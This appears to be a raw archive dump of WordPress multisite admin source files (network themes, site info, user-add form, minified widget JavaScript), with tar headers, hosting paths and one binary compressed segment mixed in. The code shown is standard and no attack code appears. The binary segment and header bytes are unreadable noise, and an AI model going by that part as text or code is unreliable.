if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) :
	?>
<h2 id="add-new-user"><?php _e( 'Add New User' ); ?></h2>
<form action="<?php echo esc_url( network_admin_url( 'site-users.php?action=newuser' ) ); ?>" id="newuser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="user_username"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[username]" id="user_username" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="user_email"><?php _e( 'Email' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[email]" id="user_email" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_newuser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_newuser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ); ?>
	<?php submit_button( __( 'Add New User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?>
</form>
<?php endif; ?>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
setup.php000064400000000367150276372430006434 0ustar00<?php
/**
 * Network Setup administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/network.php';
freedoms.php000064400000000373150276372430007075 0ustar00<?php
/**
 * Network Freedoms administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/freedoms.php';
plugin-editor.php000064400000000412150276372440010046 0ustar00<?php
/**
 * Plugin file editor network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugin-editor.php';
themes.php000064400000037171150276372440006565 0ustar00<?php
/**
 * Multisite themes administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_network_themes' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage network themes.' ) );
}

$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

$action = $wp_list_table->current_action();

$s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args = array(
	'enabled',
	'disabled',
	'deleted',
	'error',
	'enabled-auto-update',
	'disabled-auto-update',
);

$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( $temp_args, wp_get_referer() );

if ( $action ) {
	switch ( $action ) {
		case 'enable':
			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
			WP_Theme::network_enable_theme( $_GET['theme'] );
			if ( ! str_contains( $referer, '/network/themes.php' ) ) {
				wp_redirect( network_admin_url( 'themes.php?enabled=1' ) );
			} else {
				wp_safe_redirect( add_query_arg( 'enabled', 1, $referer ) );
			}
			exit;
		case 'disable':
			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
			WP_Theme::network_disable_theme( $_GET['theme'] );
			wp_safe_redirect( add_query_arg( 'disabled', '1', $referer ) );
			exit;
		case 'enable-selected':
			check_admin_referer( 'bulk-themes' );
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			WP_Theme::network_enable_theme( (array) $themes );
			wp_safe_redirect( add_query_arg( 'enabled', count( $themes ), $referer ) );
			exit;
		case 'disable-selected':
			check_admin_referer( 'bulk-themes' );
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			WP_Theme::network_disable_theme( (array) $themes );
			wp_safe_redirect( add_query_arg( 'disabled', count( $themes ), $referer ) );
			exit;
		case 'update-selected':
			check_admin_referer( 'bulk-themes' );

			if ( isset( $_GET['themes'] ) ) {
				$themes = explode( ',', $_GET['themes'] );
			} elseif ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
			} else {
				$themes = array();
			}

			// Used in the HTML title tag.
			$title       = __( 'Update Themes' );
			$parent_file = 'themes.php';

			require_once ABSPATH . 'wp-admin/admin-header.php';

			echo '<div class="wrap">';
			echo '<h1>' . esc_html( $title ) . '</h1>';

			$url = self_admin_url( 'update.php?action=update-selected-themes&amp;themes=' . urlencode( implode( ',', $themes ) ) );
			$url = wp_nonce_url( $url, 'bulk-update-themes' );

			echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
			echo '</div>';
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		case 'delete-selected':
			if ( ! current_user_can( 'delete_themes' ) ) {
				wp_die( __( 'Sorry, you are not allowed to delete themes for this site.' ) );
			}

			check_admin_referer( 'bulk-themes' );

			$themes = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array();

			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}

			$themes = array_diff( $themes, array( get_option( 'stylesheet' ), get_option( 'template' ) ) );

			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'main', $referer ) );
				exit;
			}

			$theme_info = array();
			foreach ( $themes as $key => $theme ) {
				$theme_info[ $theme ] = wp_get_theme( $theme );
			}

			require ABSPATH . 'wp-admin/update.php';

			$parent_file = 'themes.php';

			if ( ! isset( $_REQUEST['verify-delete'] ) ) {
				wp_enqueue_script( 'jquery' );
				require_once ABSPATH . 'wp-admin/admin-header.php';
				$themes_to_delete = count( $themes );
				?>
				<div class="wrap">
				<?php if ( 1 === $themes_to_delete ) : ?>
					<h1><?php _e( 'Delete Theme' ); ?></h1>
					<?php
					wp_admin_notice(
						'<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'This theme may be active on other sites in the network.' ),
						array(
							'additional_classes' => array( 'error' ),
						)
					);
					?>
					<p><?php _e( 'You are about to remove the following theme:' ); ?></p>
				<?php else : ?>
					<h1><?php _e( 'Delete Themes' ); ?></h1>
					<?php
					wp_admin_notice(
						'<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'These themes may be active on other sites in the network.' ),
						array(
							'additional_classes' => array( 'error' ),
						)
					);
					?>
					<p><?php _e( 'You are about to remove the following themes:' ); ?></p>
				<?php endif; ?>
					<ul class="ul-disc">
					<?php
					foreach ( $theme_info as $theme ) {
						echo '<li>' . sprintf(
							/* translators: 1: Theme name, 2: Theme author. */
							_x( '%1$s by %2$s', 'theme' ),
							'<strong>' . $theme->display( 'Name' ) . '</strong>',
							'<em>' . $theme->display( 'Author' ) . '</em>'
						) . '</li>';
					}
					?>
					</ul>
				<?php if ( 1 === $themes_to_delete ) : ?>
					<p><?php _e( 'Are you sure you want to delete this theme?' ); ?></p>
				<?php else : ?>
					<p><?php _e( 'Are you sure you want to delete these themes?' ); ?></p>
				<?php endif; ?>
				<form method="post" action="<?php echo esc_url( $_SERVER['REQUEST_URI'] ); ?>" style="display:inline;">
					<input type="hidden" name="verify-delete" value="1" />
					<input type="hidden" name="action" value="delete-selected" />
					<?php

					foreach ( (array) $themes as $theme ) {
						echo '<input type="hidden" name="checked[]" value="' . esc_attr( $theme ) . '" />';
					}

					wp_nonce_field( 'bulk-themes' );

					if ( 1 === $themes_to_delete ) {
						submit_button( __( 'Yes, delete this theme' ), '', 'submit', false );
					} else {
						submit_button( __( 'Yes, delete these themes' ), '', 'submit', false );
					}

					?>
				</form>
				<?php $referer = wp_get_referer(); ?>
				<form method="post" action="<?php echo $referer ? esc_url( $referer ) : ''; ?>" style="display:inline;">
					<?php submit_button( __( 'No, return me to the theme list' ), '', 'submit', false ); ?>
				</form>
				</div>
				<?php

				require_once ABSPATH . 'wp-admin/admin-footer.php';
				exit;
			} // End if verify-delete.

			foreach ( $themes as $theme ) {
				$delete_result = delete_theme(
					$theme,
					esc_url(
						add_query_arg(
							array(
								'verify-delete' => 1,
								'action'        => 'delete-selected',
								'checked'       => $_REQUEST['checked'],
								'_wpnonce'      => $_REQUEST['_wpnonce'],
							),
							network_admin_url( 'themes.php' )
						)
					)
				);
			}

			$paged = ( $_REQUEST['paged'] ) ? $_REQUEST['paged'] : 1;
			wp_redirect(
				add_query_arg(
					array(
						'deleted' => count( $themes ),
						'paged'   => $paged,
						's'       => $s,
					),
					network_admin_url( 'themes.php' )
				)
			);
			exit;
		case 'enable-auto-update':
		case 'disable-auto-update':
		case 'enable-auto-update-selected':
		case 'disable-auto-update-selected':
			if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) {
				wp_die( __( 'Sorry, you are not allowed to change themes automatic update settings.' ) );
			}

			if ( 'enable-auto-update' === $action || 'disable-auto-update' === $action ) {
				check_admin_referer( 'updates' );
			} else {
				if ( empty( $_POST['checked'] ) ) {
					// Nothing to do.
					wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
					exit;
				}

				check_admin_referer( 'bulk-themes' );
			}

			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

			if ( 'enable-auto-update' === $action ) {
				$auto_updates[] = $_GET['theme'];
				$auto_updates   = array_unique( $auto_updates );
				$referer        = add_query_arg( 'enabled-auto-update', 1, $referer );
			} elseif ( 'disable-auto-update' === $action ) {
				$auto_updates = array_diff( $auto_updates, array( $_GET['theme'] ) );
				$referer      = add_query_arg( 'disabled-auto-update', 1, $referer );
			} else {
				// Bulk enable/disable.
				$themes = (array) wp_unslash( $_POST['checked'] );

				if ( 'enable-auto-update-selected' === $action ) {
					$auto_updates = array_merge( $auto_updates, $themes );
					$auto_updates = array_unique( $auto_updates );
					$referer      = add_query_arg( 'enabled-auto-update', count( $themes ), $referer );
				} else {
					$auto_updates = array_diff( $auto_updates, $themes );
					$referer      = add_query_arg( 'disabled-auto-update', count( $themes ), $referer );
				}
			}

			$all_items = wp_get_themes();

			// Remove themes that don't exist or have been deleted since the option was last updated.
			$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

			update_site_option( 'auto_update_themes', $auto_updates );

			wp_safe_redirect( $referer );
			exit;
		default:
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			check_admin_referer( 'bulk-themes' );

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $themes ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			wp_safe_redirect( $referer );
			exit;
	}
}

$wp_list_table->prepare_items();

add_thickbox();

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using.' ) . '</p>' .
			'<p>' . __( 'If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site&#8217;s Appearance > Themes screen.' ) . '</p>' .
			'<p>' . __( 'Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes.' ) . '</p>',
	)
);

$help_sidebar_autoupdates = '';

if ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'plugins-themes-auto-updates',
			'title'   => __( 'Auto-updates' ),
			'content' =>
				'<p>' . __( 'Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '</p>' .
				'<p>' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '</p>',
		)
	);

	$help_sidebar_autoupdates = '<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-themes-auto-updates/">Documentation on Auto-updates</a>' ) . '</p>';
}

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Themes_Screen">Documentation on Network Themes</a>' ) . '</p>' .
	$help_sidebar_autoupdates .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter themes list' ),
		'heading_pagination' => __( 'Themes list navigation' ),
		'heading_list'       => __( 'Themes list' ),
	)
);

// Used in the HTML title tag.
$title       = __( 'Themes' );
$parent_file = 'themes.php';

wp_enqueue_script( 'updates' );
wp_enqueue_script( 'theme-preview' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>

<?php if ( current_user_can( 'install_themes' ) ) : ?>
	<a href="theme-install.php" class="page-title-action"><?php echo esc_html__( 'Add New Theme' ); ?></a>
<?php endif; ?>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( $s ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
$message = '';
$type    = 'success';

if ( isset( $_GET['enabled'] ) ) {
	$enabled = absint( $_GET['enabled'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme enabled.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme enabled.', '%s themes enabled.', $enabled ),
			number_format_i18n( $enabled )
		);
	}
} elseif ( isset( $_GET['disabled'] ) ) {
	$disabled = absint( $_GET['disabled'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme disabled.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme disabled.', '%s themes disabled.', $disabled ),
			number_format_i18n( $disabled )
		);
	}
} elseif ( isset( $_GET['deleted'] ) ) {
	$deleted = absint( $_GET['deleted'] );
	if ( 1 === $deleted ) {
		$message = __( 'Theme deleted.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme deleted.', '%s themes deleted.', $deleted ),
			number_format_i18n( $deleted )
		);
	}
} elseif ( isset( $_GET['enabled-auto-update'] ) ) {
	$enabled = absint( $_GET['enabled-auto-update'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme will be auto-updated.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme will be auto-updated.', '%s themes will be auto-updated.', $enabled ),
			number_format_i18n( $enabled )
		);
	}
} elseif ( isset( $_GET['disabled-auto-update'] ) ) {
	$disabled = absint( $_GET['disabled-auto-update'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme will no longer be auto-updated.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme will no longer be auto-updated.', '%s themes will no longer be auto-updated.', $disabled ),
			number_format_i18n( $disabled )
		);
	}
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
	$message = __( 'No theme selected.' );
	$type    = 'error';
} elseif ( isset( $_GET['error'] ) && 'main' === $_GET['error'] ) {
	$message = __( 'You cannot delete a theme while it is active on the main site.' );
	$type    = 'error';
}

if ( '' !== $message ) {
	wp_admin_notice(
		$message,
		array(
			'type'        => $type,
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<form method="get">
<?php $wp_list_table->search_box( __( 'Search Installed Themes' ), 'theme' ); ?>
</form>

<?php
$wp_list_table->views();

if ( 'broken' === $status ) {
	echo '<p class="clear">' . __( 'The following themes are installed but incomplete.' ) . '</p>';
}
?>

<form id="bulk-action-form" method="post">
<input type="hidden" name="theme_status" value="<?php echo esc_attr( $status ); ?>" />
<input type="hidden" name="paged" value="<?php echo esc_attr( $page ); ?>" />

<?php $wp_list_table->display(); ?>
</form>

</div>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();
wp_print_update_row_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
site-info.php000064400000016322150276372440007170 0ustar00<?php
/**
 * Edit Site Info Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME );
$is_main_site  = is_main_site( $id );

if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'edit-site' );

	switch_to_blog( $id );

	// Rewrite rules can't be flushed during switch to blog.
	delete_option( 'rewrite_rules' );

	$blog_data           = wp_unslash( $_POST['blog'] );
	$blog_data['scheme'] = $parsed_scheme;

	if ( $is_main_site ) {
		// On the network's main site, don't allow the domain or path to change.
		$blog_data['domain'] = $details->domain;
		$blog_data['path']   = $details->path;
	} else {
		// For any other site, the scheme, domain, and path can all be changed. We first
		// need to ensure a scheme has been provided, otherwise fallback to the existing.
		$new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME );

		if ( ! $new_url_scheme ) {
			$blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] );
		}
		$update_parsed_url = parse_url( $blog_data['url'] );

		// If a path is not provided, use the default of `/`.
		if ( ! isset( $update_parsed_url['path'] ) ) {
			$update_parsed_url['path'] = '/';
		}

		$blog_data['scheme'] = $update_parsed_url['scheme'];
		$blog_data['domain'] = $update_parsed_url['host'];
		$blog_data['path']   = $update_parsed_url['path'];
	}

	$existing_details     = get_site( $id );
	$blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' );

	foreach ( $blog_data_checkboxes as $c ) {
		if ( ! in_array( (int) $existing_details->$c, array( 0, 1 ), true ) ) {
			$blog_data[ $c ] = $existing_details->$c;
		} else {
			$blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0;
		}
	}

	update_blog_details( $id, $blog_data );

	// Maybe update home and siteurl options.
	$new_details = get_site( $id );

	$old_home_url    = trailingslashit( esc_url( get_option( 'home' ) ) );
	$old_home_parsed = parse_url( $old_home_url );

	if ( $old_home_parsed['host'] === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) {
		$new_home_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
		update_option( 'home', $new_home_url );
	}

	$old_site_url    = trailingslashit( esc_url( get_option( 'siteurl' ) ) );
	$old_site_parsed = parse_url( $old_site_url );

	if ( $old_site_parsed['host'] === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) {
		$new_site_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
		update_option( 'siteurl', $new_site_url );
	}

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				'update' => 'updated',
				'id'     => $id,
			),
			'site-info.php'
		)
	);
	exit;
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'updated' === $_GET['update'] ) {
		$messages[] = __( 'Site info updated.' );
	}
}

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-info',
	)
);

if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<form method="post" action="site-info.php?action=update-site">
	<?php wp_nonce_field( 'edit-site' ); ?>
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<?php
		// The main site of the network should not be updated on this page.
		if ( $is_main_site ) :
			?>
		<tr class="form-field">
			<th scope="row"><?php _e( 'Site Address (URL)' ); ?></th>
			<td><?php echo esc_url( $parsed_scheme . '://' . $details->domain . $details->path ); ?></td>
		</tr>
			<?php
			// For any other site, the scheme, domain, and path can all be changed.
		else :
			?>
		<tr class="form-field form-required">
			<th scope="row"><label for="url"><?php _e( 'Site Address (URL)' ); ?></label></th>
			<td><input name="blog[url]" type="text" id="url" value="<?php echo $parsed_scheme . '://' . esc_attr( $details->domain ) . esc_attr( $details->path ); ?>" /></td>
		</tr>
		<?php endif; ?>

		<tr class="form-field">
			<th scope="row"><label for="blog_registered"><?php _ex( 'Registered', 'site' ); ?></label></th>
			<td><input name="blog[registered]" type="text" id="blog_registered" value="<?php echo esc_attr( $details->registered ); ?>" /></td>
		</tr>
		<tr class="form-field">
			<th scope="row"><label for="blog_last_updated"><?php _e( 'Last Updated' ); ?></label></th>
			<td><input name="blog[last_updated]" type="text" id="blog_last_updated" value="<?php echo esc_attr( $details->last_updated ); ?>" /></td>
		</tr>
		<?php
		$attribute_fields = array( 'public' => _x( 'Public', 'site' ) );
		if ( ! $is_main_site ) {
			$attribute_fields['archived'] = __( 'Archived' );
			$attribute_fields['spam']     = _x( 'Spam', 'site' );
			$attribute_fields['deleted']  = __( 'Deleted' );
		}
		$attribute_fields['mature'] = __( 'Mature' );
		?>
		<tr>
			<th scope="row"><?php _e( 'Attributes' ); ?></th>
			<td>
			<fieldset>
			<legend class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Set site attributes' );
				?>
			</legend>
			<?php foreach ( $attribute_fields as $field_key => $field_label ) : ?>
				<label><input type="checkbox" name="blog[<?php echo $field_key; ?>]" value="1" <?php checked( (bool) $details->$field_key, true ); ?> <?php disabled( ! in_array( (int) $details->$field_key, array( 0, 1 ), true ) ); ?> />
				<?php echo $field_label; ?></label><br />
			<?php endforeach; ?>
			<fieldset>
			</td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the site info form in network admin.
	 *
	 * @since 5.6.0
	 *
	 * @param int $id The site ID.
	 */
	do_action( 'network_site_info_form', $id );

	submit_button();
	?>
</form>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
ms-themes.php.tar000064400000004000150276633110007742 0ustar00home/natitnen/crestassured.com/wp-admin/ms-themes.php000064400000000331150272430470016730 0ustar00<?php
/**
 * Multisite themes administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

require_once __DIR__ . '/admin.php';

wp_redirect( network_admin_url( 'themes.php' ) );
exit;
media-video-widget.min.js.tar000064400000011000150276633110012111 0ustar00home/natitnen/crestassured.com/wp-admin/js/widgets/media-video-widget.min.js000064400000005216150270772470023201 0ustar00/*! This file is auto-generated */
!function(t){"use strict";var i=wp.media.view.MediaFrame.VideoDetails.extend({createStates:function(){this.states.add([new wp.media.controller.VideoDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"video",id:"add-video-source",title:wp.media.view.l10n.videoAddSourceTitle,toolbar:"add-video-source",media:this.media,menu:!1}),new wp.media.controller.MediaLibrary({type:"text",id:"add-track",title:wp.media.view.l10n.videoAddTrackTitle,toolbar:"add-track",media:this.media,menu:"video-details"})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,oembedResponses:{},mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},fetchEmbed:function(){var t=this,d=t.model.get("url");t.oembedResponses[d]||(t.fetchEmbedDfd&&"pending"===t.fetchEmbedDfd.state()&&t.fetchEmbedDfd.abort(),t.fetchEmbedDfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:t.model.get("url"),maxwidth:t.model.get("width"),maxheight:t.model.get("height"),discover:!1},type:"GET",dataType:"json",context:t}),t.fetchEmbedDfd.done(function(e){t.oembedResponses[d]=e,t.renderPreview()}),t.fetchEmbedDfd.fail(function(){t.oembedResponses[d]=null}))},isHostedVideo:function(){return!0},renderPreview:function(){var e,t,d=this,i="",o=!1,a=d.model.get("attachment_id"),s=d.model.get("url"),m=d.model.get("error");(a||s)&&((t=d.selectedAttachment.get("mime"))&&a?_.contains(_.values(wp.media.view.settings.embedMimes),t)||(m="unsupported_file_type"):a||((t=document.createElement("a")).href=s,(t=t.pathname.toLowerCase().match(/\.(\w+)$/))?_.contains(_.keys(wp.media.view.settings.embedMimes),t[1])||(m="unsupported_file_type"):o=!0),o&&(d.fetchEmbed(),d.oembedResponses[s])&&(e=d.oembedResponses[s].thumbnail_url,i=d.oembedResponses[s].html.replace(/\swidth="\d+"/,' width="100%"').replace(/\sheight="\d+"/,"")),t=d.$el.find(".media-widget-preview"),d=wp.template("wp-media-widget-video-preview"),t.html(d({model:{attachment_id:a,html:i,src:s,poster:e},is_oembed:o,error:m})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new i({frame:"video",state:"video-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(_.omit(t.model.defaults(),"title"),t.mapMediaToModelProps(e),{error:!1}))},d.state("video-details").on("update",e),d.state("replace-video").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_video=d,t.modelConstructors.media_video=e}(wp.mediaWidgets);custom-background.min.js.min.js.tar.gz000064400000001211150276633110013713 0ustar00��T]o� ��~E�j*'Q�J��I�~���m�"��Rঝ�����z���H�>��̅sϹ���h�נa�y�\e!c�ɺ��:Y�DTΛ���šJg�ʝ���x�dc4�LN����'��G���eo�j����H�'���H�O{_��r���#���/@����y��4�����h
Q7��
�=�D��#w�e�@�4�Q�����I�k�Q-�\/ ���К3�\D�cÚ��o�^D�nc���tO߳pB�vKc��(����7:��3ʰi�����
Kz����p45R���q2T;��CBe��#�a:�˩XWF�;�[O�6�{_���bY�>P��Y1NX����m�4BДKc�s��T��r{���&;z���c׭��lG3լ�p��!����f�ٺdd���b����߉�6D5>�
R�2�y�8("4��IkWBJ�˲��*��,�T�8�PNO�h޶�־~`�@��w�CD����`�ri]��4�v�.����F�l�C�����meU\��b���ǿh.�T3����7�S���GS�	m)ˌ~��̚)#x�0��,�3�S̔���6Z}������~5�q�c��r��sxfn.js000064400000001344150276633110005703 0ustar00/**
 * Generates the XHTML Friends Network 'rel' string from the inputs.
 *
 * @deprecated 3.5.0
 * @output wp-admin/js/xfn.js
 */
jQuery( function( $ ) {
	$( '#link_rel' ).prop( 'readonly', true );
	$( '#linkxfndiv input' ).on( 'click keyup', function() {
		var isMe = $( '#me' ).is( ':checked' ), inputs = '';
		$( 'input.valinp' ).each( function() {
			if ( isMe ) {
				$( this ).prop( 'disabled', true ).parent().addClass( 'disabled' );
			} else {
				$( this ).removeAttr( 'disabled' ).parent().removeClass( 'disabled' );
				if ( $( this ).is( ':checked' ) && $( this ).val() !== '') {
					inputs += $( this ).val() + ' ';
				}
			}
		});
		$( '#link_rel' ).val( ( isMe ) ? 'me' : inputs.substr( 0,inputs.length - 1 ) );
	});
});
set-post-thumbnail.min.js.tar000064400000005000150276633110012207 0ustar00home/natitnen/crestassured.com/wp-admin/js/set-post-thumbnail.min.js000064400000001154150261363700021613 0ustar00/*! This file is auto-generated */
